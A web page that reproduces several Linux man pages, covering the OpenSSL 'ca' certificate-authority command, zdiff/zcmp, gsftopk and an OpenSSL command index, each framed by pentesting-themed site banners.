░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

334 - Linux cli command openssl-cassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-cassl and provides detailed information about the command openssl-cassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-cassl.

NAME 🖥️ openssl-cassl 🖥️

ca - sample minimal CA application

SYNOPSIS

openssl ca [-help] [-verbose] [-quiet] [-config filename] [-name section] [-section section] [-gencrl] [-revoke file] [-valid file] [-status serial] [-updatedb] [-crl_reason reason] [-crl_hold instruction] [-crl_compromise time] [-crl_CA_compromise time] [-crl_lastupdate date] [-crl_nextupdate date] [-crldays days] [-crlhours hours] [-crlsec seconds] [-crlexts section] [-startdate date] [-enddate date] [-days arg] [-md arg] [-policy arg] [-keyfile filename|uri] [-keyform DER|PEM|P12|ENGINE] [-key arg] [-passin arg] [-cert file] [-certform DER|PEM|P12] [-selfsign] [-in file] [-inform DER|<PEM>] [-out file] [-notext] [-dateopt] [-outdir dir] [-infiles] [-spkac file] [-ss_cert file] [-preserveDN] [-noemailDN] [-batch] [-msie_hack] [-extensions section] [-extfile section] [-subj arg] [-utf8] [-sigopt nm:v] [-vfyopt nm:v] [-create_serial] [-rand_serial] [-multivalue-rdn] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [certreq…]

DESCRIPTION

This command emulates a CA application. See the WARNINGS especially when considering to use it productively.

It generates certificates bearing X.509 version 3. Unless specified otherwise, key identifier extensions are included as described in x509v3_config (5).

It can be used to sign certificate requests (CSRs) in a variety of forms and generate certificate revocation lists (CRLs). It also maintains a text database of issued certificates and their status. When signing certificates, a single request can be specified with the -in option, or multiple requests can be processed by specifying a set of certreq files after all options.

Note that there are also very lean ways of generating certificates: the req and x509 commands can be used for directly creating certificates. See openssl-req (1) and openssl-x509 (1) for details.

The descriptions of the ca command options are divided into each purpose.

OPTIONS

-help
Print out a usage message.

-verbose
This prints extra details about the operations being performed.

-quiet
This prints fewer details about the operations being performed, which may be handy during batch scripts or pipelines.

-config filename
Specifies the configuration file to use. Optional; for a description of the default value, see “COMMAND SUMMARY” in openssl (1).

-name section, -section section
Specifies the configuration file section to use (overrides default_ca in the ca section).

-in filename
An input filename containing a single certificate request (CSR) to be signed by the CA.

-inform DER|PEM
The format to use when loading certificate request (CSR) input files; by default PEM is tried first. See openssl-format-options (1) for details.

-ss_cert filename
A single self-signed certificate to be signed by the CA.

-spkac filename
A file containing a single Netscape signed public key and challenge and additional field values to be signed by the CA. See the SPKAC FORMAT section for information on the required input and output format.

-infiles
If present this should be the last option, all subsequent arguments are taken as the names of files containing certificate requests.

-out filename
The output file to output certificates to. The default is standard output. The certificate details will also be printed out to this file in PEM format (except that -spkac outputs DER format).

-outdir directory
The directory to output certificates to. The certificate will be written to a filename consisting of the serial number in hex with .pem appended.

-cert filename
The CA certificate, which must match with -keyfile.

-certform DER|PEM|P12
The format of the data in certificate input files; unspecified by default. See openssl-format-options (1) for details.

-keyfile filename|uri
The CA private key to sign certificate requests with. This must match with -cert.

-keyform DER|PEM|P12|ENGINE
The format of the private key input file; unspecified by default. See openssl-format-options (1) for details.

-sigopt nm:v
Pass options to the signature algorithm during sign operations. Names and values of these options are algorithm-specific.

-vfyopt nm:v
Pass options to the signature algorithm during verify operations. Names and values of these options are algorithm-specific. This often needs to be given while signing too, because the self-signature of a certificate signing request (CSR) is verified against the included public key, and that verification may need its own set of options.

-key password
The password used to encrypt the private key. Since on some systems the command line arguments are visible (e.g., when using ps (1) on Unix), this option should be used with caution. Better use -passin.

-passin arg
The key password source for key files and certificate PKCS#12 files. For more information about the format of arg see openssl-passphrase-options (1).

-selfsign
Indicates the issued certificates are to be signed with the key the certificate requests were signed with (given with -keyfile). Certificate requests signed with a different key are ignored. If -spkac, -ss_cert or -gencrl are given, -selfsign is ignored. A consequence of using -selfsign is that the self-signed certificate appears among the entries in the certificate database (see the configuration option database), and uses the same serial number counter as all other certificates sign with the self-signed certificate.

-notext
Don’t output the text form of a certificate to the output file.

-dateopt
Specify the date output format. Values are: rfc_822 and iso_8601. Defaults to rfc_822.

-startdate date
This allows the start date to be explicitly set. The format of the date is YYMMDDHHMMSSZ (the same as an ASN1 UTCTime structure), or YYYYMMDDHHMMSSZ (the same as an ASN1 GeneralizedTime structure). In both formats, seconds SS and timezone Z must be present.

-enddate date
This allows the expiry date to be explicitly set. The format of the date is YYMMDDHHMMSSZ (the same as an ASN1 UTCTime structure), or YYYYMMDDHHMMSSZ (the same as an ASN1 GeneralizedTime structure). In both formats, seconds SS and timezone Z must be present.

-days arg
The number of days to certify the certificate for.

-md alg
The message digest to use. Any digest supported by the openssl-dgst (1) command can be used. For signing algorithms that do not support a digest (i.e. Ed25519 and Ed448) any message digest that is set is ignored. This option also applies to CRLs.

-policy arg
This option defines the CA “policy” to use. This is a section in the configuration file which decides which fields should be mandatory or match the CA certificate. Check out the POLICY FORMAT section for more information.

-msie_hack
This is a deprecated option to make this command work with very old versions of the IE certificate enrollment control “certenr3”. It used UniversalStrings for almost everything. Since the old control has various security bugs its use is strongly discouraged.

-preserveDN
Normally the DN order of a certificate is the same as the order of the fields in the relevant policy section. When this option is set the order is the same as the request. This is largely for compatibility with the older IE enrollment control which would only accept certificates if their DNs match the order of the request. This is not needed for Xenroll.

-noemailDN
The DN of a certificate can contain the EMAIL field if present in the request DN, however, it is good policy just having the e-mail set into the altName extension of the certificate. When this option is set the EMAIL field is removed from the certificate’ subject and set only in the, eventually present, extensions. The email_in_dn keyword can be used in the configuration file to enable this behaviour.

-batch
This sets the batch mode. In this mode no questions will be asked and all certificates will be certified automatically.

-extensions section
The section of the configuration file containing certificate extensions to be added when a certificate is issued (defaults to x509_extensions unless the -extfile option is used). See the x509v3_config (5) manual page for details of the extension section format.

-extfile file
An additional configuration file to read certificate extensions from (using the default section unless the -extensions option is also used).

-subj arg
Supersedes subject name given in the request. The arg must be formatted as /type0=value0/type1=value1/type2=.... Special characters may be escaped by \ (backslash), whitespace is retained. Empty values are permitted, but the corresponding type will not be included in the resulting certificate. Giving a single / will lead to an empty sequence of RDNs (a NULL-DN). Multi-valued RDNs can be formed by placing a + character instead of a / between the AttributeValueAssertions (AVAs) that specify the members of the set. Example: /DC=org/DC=OpenSSL/DC=users/UID=123456+CN=John Doe

-utf8
This option causes field values to be interpreted as UTF8 strings, by default they are interpreted as ASCII. This means that the field values, whether prompted from a terminal or obtained from a configuration file, must be valid UTF8 strings.

-create_serial
If reading serial from the text file as specified in the configuration fails, specifying this option creates a new random serial to be used as next serial number. To get random serial numbers, use the -rand_serial flag instead; this should only be used for simple error-recovery.

-rand_serial
Generate a large random number to use as the serial number. This overrides any option or configuration to use a serial number file.

-multivalue-rdn
This option has been deprecated and has no effect.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

CRL OPTIONS

-gencrl
This option generates a CRL based on information in the index file.

-crl_lastupdate time
Allows the value of the CRL’s lastUpdate field to be explicitly set; if this option is not present, the current time is used. Accepts times in YYMMDDHHMMSSZ format (the same as an ASN1 UTCTime structure) or YYYYMMDDHHMMSSZ format (the same as an ASN1 GeneralizedTime structure).

-crl_nextupdate time
Allows the value of the CRL’s nextUpdate field to be explicitly set; if this option is present, any values given for -crldays, -crlhours and -crlsec are ignored. Accepts times in the same formats as -crl_lastupdate.

-crldays num
The number of days before the next CRL is due. That is the days from now to place in the CRL nextUpdate field.

-crlhours num
The number of hours before the next CRL is due.

-crlsec num
The number of seconds before the next CRL is due.

-revoke filename
A filename containing a certificate to revoke.

-valid filename
A filename containing a certificate to add a Valid certificate entry.

-status serial
Displays the revocation status of the certificate with the specified serial number and exits.

-updatedb
Updates the database index to purge expired certificates.

-crl_reason reason
Revocation reason, where reason is one of: unspecified, keyCompromise, CACompromise, affiliationChanged, superseded, cessationOfOperation, certificateHold or removeFromCRL. The matching of reason is case insensitive. Setting any revocation reason will make the CRL v2. In practice removeFromCRL is not particularly useful because it is only used in delta CRLs which are not currently implemented.

-crl_hold instruction
This sets the CRL revocation reason code to certificateHold and the hold instruction to instruction which must be an OID. Although any OID can be used only holdInstructionNone (the use of which is discouraged by RFC2459) holdInstructionCallIssuer or holdInstructionReject will normally be used.

-crl_compromise time
This sets the revocation reason to keyCompromise and the compromise time to time. time should be in GeneralizedTime format that is YYYYMMDDHHMMSSZ.

-crl_CA_compromise time
This is the same as crl_compromise except the revocation reason is set to CACompromise.

-crlexts section
The section of the configuration file containing CRL extensions to include. If no CRL extension section is present then a V1 CRL is created, if the CRL extension section is present (even if it is empty) then a V2 CRL is created. The CRL extensions specified are CRL extensions and not CRL entry extensions. It should be noted that some software (for example Netscape) can’t handle V2 CRLs. See x509v3_config (5) manual page for details of the extension section format.

CONFIGURATION FILE OPTIONS

The section of the configuration file containing options for this command is found as follows: If the -name command line option is used, then it names the section to be used. Otherwise the section to be used must be named in the default_ca option of the ca section of the configuration file (or in the default section of the configuration file). Besides default_ca, the following options are read directly from the ca section: RANDFILE preserve msie_hack With the exception of RANDFILE, this is probably a bug and may change in future releases.

Many of the configuration file options are identical to command line options. Where the option is present in the configuration file and the command line the command line value is used. Where an option is described as mandatory then it must be present in the configuration file or the command line equivalent (if any) used.

oid_file
This specifies a file containing additional OBJECT IDENTIFIERS. Each line of the file should consist of the numerical form of the object identifier followed by whitespace then the short name followed by whitespace and finally the long name.

oid_section
This specifies a section in the configuration file containing extra object identifiers. Each line should consist of the short name of the object identifier followed by = and the numerical form. The short and long names are the same when this option is used.

new_certs_dir
The same as the -outdir command line option. It specifies the directory where new certificates will be placed. Mandatory.

certificate
The same as -cert. It gives the file containing the CA certificate. Mandatory.

private_key
Same as the -keyfile option. The file containing the CA private key. Mandatory.

RANDFILE
At startup the specified file is loaded into the random number generator, and at exit 256 bytes will be written to it. (Note: Using a RANDFILE is not necessary anymore, see the “HISTORY” section.

default_days
The same as the -days option. The number of days to certify a certificate for.

default_startdate
The same as the -startdate option. The start date to certify a certificate for. If not set the current time is used.

default_enddate
The same as the -enddate option. Either this option or default_days (or the command line equivalents) must be present.

default_crl_hours default_crl_days
The same as the -crlhours and the -crldays options. These will only be used if neither command line option is present. At least one of these must be present to generate a CRL.

default_md
The same as the -md option. Mandatory except where the signing algorithm does not require a digest (i.e. Ed25519 and Ed448).

database
The text database file to use. Mandatory. This file must be present though initially it will be empty.

unique_subject
If the value yes is given, the valid certificate entries in the database must have unique subjects. if the value no is given, several valid certificate entries may have the exact same subject. The default value is yes, to be compatible with older (pre 0.9.8) versions of OpenSSL. However, to make CA certificate roll-over easier, it’s recommended to use the value no, especially if combined with the -selfsign command line option. Note that it is valid in some circumstances for certificates to be created without any subject. In the case where there are multiple certificates without subjects this does not count as a duplicate.

serial
A text file containing the next serial number to use in hex. Mandatory. This file must be present and contain a valid serial number.

crlnumber
A text file containing the next CRL number to use in hex. The crl number will be inserted in the CRLs only if this file exists. If this file is present, it must contain a valid CRL number.

x509_extensions
A fallback to the -extensions option.

crl_extensions
A fallback to the -crlexts option.

preserve
The same as -preserveDN

email_in_dn
The same as -noemailDN. If you want the EMAIL field to be removed from the DN of the certificate simply set this to ’no’. If not present the default is to allow for the EMAIL filed in the certificate’s DN.

msie_hack
The same as -msie_hack

policy
The same as -policy. Mandatory. See the POLICY FORMAT section for more information.

name_opt, cert_opt
These options allow the format used to display the certificate details when asking the user to confirm signing. All the options supported by the x509 utilities -nameopt and -certopt switches can be used here, except the no_signame and no_sigdump are permanently set and cannot be disabled (this is because the certificate signature cannot be displayed because the certificate has not been signed at this point). For convenience the values ca_default are accepted by both to produce a reasonable output. If neither option is present the format used in earlier versions of OpenSSL is used. Use of the old format is strongly discouraged because it only displays fields mentioned in the policy section, mishandles multicharacter string types and does not display extensions.

copy_extensions
Determines how extensions in certificate requests should be handled. If set to none or this option is not present then extensions are ignored and not copied to the certificate. If set to copy then any extensions present in the request that are not already present are copied to the certificate. If set to copyall then all extensions in the request are copied to the certificate: if the extension is already present in the certificate it is deleted first. See the WARNINGS section before using this option. The main use of this option is to allow a certificate request to supply values for certain extensions such as subjectAltName.

POLICY FORMAT

The policy section consists of a set of variables corresponding to certificate DN fields. If the value is “match” then the field value must match the same field in the CA certificate. If the value is “supplied” then it must be present. If the value is “optional” then it may be present. Any fields not mentioned in the policy section are silently deleted, unless the -preserveDN option is set but this can be regarded more of a quirk than intended behaviour.

SPKAC FORMAT

The input to the -spkac command line option is a Netscape signed public key and challenge. This will usually come from the KEYGEN tag in an HTML form to create a new private key. It is however possible to create SPKACs using openssl-spkac (1).

The file should contain the variable SPKAC set to the value of the SPKAC and also the required DN components as name value pairs. If you need to include the same component twice then it can be preceded by a number and a ‘.’.

When processing SPKAC format, the output is DER if the -out flag is used, but PEM format if sending to stdout or the -outdir flag is used.

EXAMPLES

Note: these examples assume that the directory structure this command assumes is already set up and the relevant files already exist. This usually involves creating a CA certificate and private key with openssl-req (1), a serial number file and an empty index file and placing them in the relevant directories.

To use the sample configuration file below the directories demoCA, demoCA/private and demoCA/newcerts would be created. The CA certificate would be copied to demoCA/cacert.pem and its private key to demoCA/private/cakey.pem. A file demoCA/serial would be created containing for example “01” and the empty index file demoCA/index.txt.

Sign a certificate request:

openssl ca -in req.pem -out newcert.pem

Sign an SM2 certificate request:

openssl ca -in sm2.csr -out sm2.crt -md sm3 \ -sigopt “distid:1234567812345678” \ -vfyopt “distid:1234567812345678”

Sign a certificate request, using CA extensions:

openssl ca -in req.pem -extensions v3_ca -out newcert.pem

Generate a CRL

openssl ca -gencrl -out crl.pem

Sign several requests:

openssl ca -infiles req1.pem req2.pem req3.pem

Certify a Netscape SPKAC:

openssl ca -spkac spkac.txt

A sample SPKAC file (the SPKAC line has been truncated for clarity):

SPKAC=MIG0MGAwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAn7PDhCeV/xIxUg8V70YRxK2A5 CN=Steve Test [email protected] 0.OU=OpenSSL Group 1.OU=Another Group

A sample configuration file with the relevant sections for this command:

[ ca ] default_ca = CA_default # The default ca section [ CA_default ] dir = ./demoCA # top dir database = $dir/index.txt # index file. new_certs_dir = $dir/newcerts # new certs dir certificate = $dir/cacert.pem # The CA cert serial = $dir/serial # serial no file #rand_serial = yes # for random serial#s private_key = $dir/private/cakey.pem# CA private key default_days = 365 # how long to certify for default_crl_days= 30 # how long before next CRL default_md = md5 # md to use policy = policy_any # default policy email_in_dn = no # Dont add the email into cert DN name_opt = ca_default # Subject name display option cert_opt = ca_default # Certificate display option copy_extensions = none # Dont copy extensions from request [ policy_any ] countryName = supplied stateOrProvinceName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional

FILES

Note: the location of all files can change either by compile time options, configuration file entries, environment variables or command line options. The values below reflect the default values.

/usr/local/ssl/lib/openssl.cnf - master configuration file ./demoCA - main CA directory ./demoCA/cacert.pem - CA certificate ./demoCA/private/cakey.pem - CA private key ./demoCA/serial - CA serial number file ./demoCA/serial.old - CA serial number backup file ./demoCA/index.txt - CA text database file ./demoCA/index.txt.old - CA text database backup file ./demoCA/certs - certificate output file

RESTRICTIONS

The text database index file is a critical part of the process and if corrupted it can be difficult to fix. It is theoretically possible to rebuild the index file from all the issued certificates and a current CRL: however there is no option to do this.

V2 CRL features like delta CRLs are not currently supported.

Although several requests can be input and handled at once it is only possible to include one SPKAC or self-signed certificate.

BUGS

This command is quirky and at times downright unfriendly.

The use of an in-memory text database can cause problems when large numbers of certificates are present because, as the name implies the database has to be kept in memory.

This command really needs rewriting or the required functionality exposed at either a command or interface level so that a more user-friendly replacement could handle things properly. The script CA.pl helps a little but not very much.

Any fields in a request that are not present in a policy are silently deleted. This does not happen if the -preserveDN option is used. To enforce the absence of the EMAIL field within the DN, as suggested by RFCs, regardless the contents of the request’ subject the -noemailDN option can be used. The behaviour should be more friendly and configurable.

Canceling some commands by refusing to certify a certificate can create an empty file.

WARNINGS

This command was originally meant as an example of how to do things in a CA. Its code does not have production quality. It was not supposed to be used as a full blown CA itself, nevertheless some people are using it for this purpose at least internally. When doing so, specific care should be taken to properly secure the private key(s) used for signing certificates. It is advisable to keep them in a secure HW storage such as a smart card or HSM and access them via a suitable engine or crypto provider.

This command is effectively a single user command: no locking is done on the various files and attempts to run more than one openssl ca command on the same database can have unpredictable results.

The copy_extensions option should be used with caution. If care is not taken then it can be a security risk. For example if a certificate request contains a basicConstraints extension with CA:TRUE and the copy_extensions value is set to copyall and the user does not spot this when the certificate is displayed then this will hand the requester a valid CA certificate. This situation can be avoided by setting copy_extensions to copy and including basicConstraints with CA:FALSE in the configuration file. Then if the request contains a basicConstraints extension it will be ignored.

It is advisable to also include values for other extensions such as keyUsage to prevent a request supplying its own values.

Additional restrictions can be placed on the CA certificate itself. For example if the CA certificate has:

basicConstraints = CA:TRUE, pathlen:0

then even if a certificate is issued with CA:TRUE it will not be valid.

HISTORY

Since OpenSSL 1.1.1, the program follows RFC5280. Specifically, certificate validity period (specified by any of -startdate, -enddate and -days) and CRL last/next update time (specified by any of -crl_lastupdate, -crl_nextupdate, -crldays, -crlhours and -crlsec) will be encoded as UTCTime if the dates are earlier than year 2049 (included), and as GeneralizedTime if the dates are in year 2050 or later.

OpenSSL 1.1.1 introduced a new random generator (CSPRNG) with an improved seeding mechanism. The new seeding mechanism makes it unnecessary to define a RANDFILE for saving and restoring randomness. This option is retained mainly for compatibility reasons.

The -section option was added in OpenSSL 3.0.0.

The -multivalue-rdn option has become obsolete in OpenSSL 3.0.0 and has no effect.

The -engine option was deprecated in OpenSSL 3.0.

Since OpenSSL 3.2, generated certificates bear X.509 version 3, and key identifier extensions are included by default.

SEE ALSO

openssl (1), openssl-req (1), openssl-spkac (1), openssl-x509 (1), CA.pl (1), config (5), x509v3_config (5)

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

335 - Linux cli command zdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zdiff and provides detailed information about the command zdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zdiff.

NAME 🖥️ zdiff 🖥️

compare compressed files

SYNOPSIS

zcmp [ cmp_options ] file1 [ file2 ]
zdiff [ diff_options ] file1 [ file2 ]

DESCRIPTION

The zcmp and zdiff commands are used to invoke the cmp or the diff program on files compressed via gzip. All options specified are passed directly to cmp or diff. If only file1 is specified, it is compared to the uncompressed contents of file1**.gz***.* If two files are specified, their contents (uncompressed if necessary) are fed to cmp or diff. The input files are not modified. The exit status from cmp or diff is preserved.

SEE ALSO

cmp(1), diff(1), zmore(1), zgrep(1), znew(1), zforce(1), gzip(1), gzexe(1)

BUGS

Messages from the cmp or diff programs may refer to file names such as “-” instead of to the file names specified.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

336 - Linux cli command gsftopk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gsftopk and provides detailed information about the command gsftopk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gsftopk.

NAME 🖥️ gsftopk 🖥️

render a ghostscript font in TeX pk form

SYNOPSIS

gsftopk [-i path] [-q] [-t] [–debug=n] [–dosnames] [–interpreter=path] [–mapline=line] [–mapfile=file] [–quiet] [–test] [–help] [–version] font dpi

ARGUMENTS

font
Name of the font to be created.

dpi
Desired resolution of the font to be created, in dots per inch. This may be a real number.

DESCRIPTION

gsftopk is a program which calls up the ghostscript program gs(1) to render a given font at a given resolution. It packs the resulting characters into the pk file format and writes them to a file whose name is formed from the font name and the resolution (rounded to the nearest integer). The font may be in any format acceptable to Ghostscript, including .pfa, .pfb, .gsf, and .ttf files.

This program should normally be called by a script, such as mktexpk, to create fonts on demand.

gsftopk obtains the character widths from the .tfm file, which must exist in the standard search path. It also must be able to find the font in a map file (such as psfonts.map), formatted as in dvips(1)), unless the –mapline option is used. The set of map files is given by the –mapfile option, or in the files config.ps, $HOME/.dvipsrc, and config.gsftopk (as would be used by dvips -Pgsftopk).

The following pk “specials” are added at the end of the output file, to provide an internal check on the contents of the file: “**jobname=**font”, “mag=1”, “mode=modeless”, and “**pixels_per_inch=**dpi”. This is in accordance with the TeX Directory Standard (TDS).

OPTIONS

–debug=n
Set the Kpathsea debug flags according to the integer n.

–dosnames
Use a name of the form font**.pk** instead of font**.dpipk.**

-h, –help
Print a brief help synopsis and exit.

-i path, –interpreter=path
Use path as the Ghostscript interpreter.

–mapfile=file
Use file to look for the map information for font. This should be the full name of the file (in other words, no path searching algorithms are applied).

–mapline=line
Use line instead of looking for an entry in a map file. The first word of line must match font.

-q, –quiet
Operate quietly; i.e., without writing any messages to the standard output.

-t, –test
Test run: return zero status if the font can be found in the map file(s), and nonzero status if it cannot. If this option is specified, then the dpi argument is optional (since the font will not be generated).

-v, –version
Print the version number and exit.

ENVIRONMENT VARIABLES

DVIPSRC
Name of file to read instead of $HOME/.dvipsrc. This should be the full name of the file (in other words, no path searching algorithms are applied).

GSFTOPKFONTS
See TFMFONTS.

GSFTOPKHEADERS
See TEXPSHEADERS.

PSHEADERS
See TEXPSHEADERS.

TEXCONFIG
Colon-separated list of paths to search for map files. An extra colon in the list will include the compiled-in default paths at that point. A double slash will enable recursive subdirectory searching at that point in the path.

TFMFONTS
Colon-separated list of paths to search for the .tfm file associated with the font. Double slashes and extra colons behave as with TEXCONFIG. This information may also be supplied by using the environment variables TFMFONTS or GSFTOPKFONTS. These environment variables are checked in the order GSFTOPKFONTS, TFMFONTS, TFMFONTS; the first one (if any) having a value is used.

TEXPSHEADERS
Colon-separated list of paths to search for the Ghostscript driver file render.ps and for any PostScript header or font files (.enc, .pfa, .pfb, .gsf, or .ttf files). Double slashes and extra colons behave as with TEXCONFIG. This information may also be supplied by using the environment variables PSHEADERS or GSFTOPKHEADERS. These environment variables are checked in the order GSFTOPKHEADERS, TEXPSHEADERS, PSHEADERS; the first one (if any) having a value is used.

TFMFONTS
See TFMFONTS.

CONFIGURATION

In order to determine the set of map files to be used and the path for finding PostScript files, gsftopk reads, in order, the files config.ps, .dvipsrc, and config.gsftopk. The files config.ps and config.gsftopk are searched for using the environment variable TEXCONFIG, the Kpathsea configuration file, or the compiled-in default paths. The file .dvipsrc is searched for in the user’s home directory.

These files are in the same format as for dvips (as well as being in the same locations). The entries used by gsftopk are as follows.

H path
Indicates that the Ghostscript driver file render.ps and the PostScript header and font files are to be searched for using path.

p file
Indicates that the list of map files is to be erased and replaced by file.

p +file
Indicates that file is to be added to the list of map files.

All other entries are ignored.

This is similar to the handling of these options when running dvips -Pgsftopk. For more details, see the Kpathsea manual.

BUGS

gsftopk sometimes has trouble with fonts with very complicated characters (such as the Seal of the University of California). This is because gsftopk uses the charpath operator to determine the bounding box of each character. If the character is too complicated, then old versions of Ghostscript fail, causing gsftopk to terminate with an error message

Call to gs stopped by signal 10

(The number may vary from system to system; it corresponds to a bus error or a segmentation fault.) The best way to fix this bug is to install a current version of ghostscript. As an alternative, gsftopk can be instructed to use the bounding box provided with the font (if one exists) instead of finding a bounding box for each character. To do this, include the string

/usefontbbox true def

in the font map file; e.g.,

ucseal “/usefontbbox true def”

This will not affect use of the font by dvips.

SEE ALSO

gs(1), gftopk(1), tex(1), xdvi(1), dvips(1)

AUTHOR

Written by Paul Vojta. This program was inspired by Karl Berry’s gsrenderfont.

MODIFICATIONS

Modified by Yves Arrouye to use Karl Berry’s Kpathsea library.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

337 - Linux cli command tsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsssl and provides detailed information about the command tsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsssl.

NAME 🖥️ tsssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
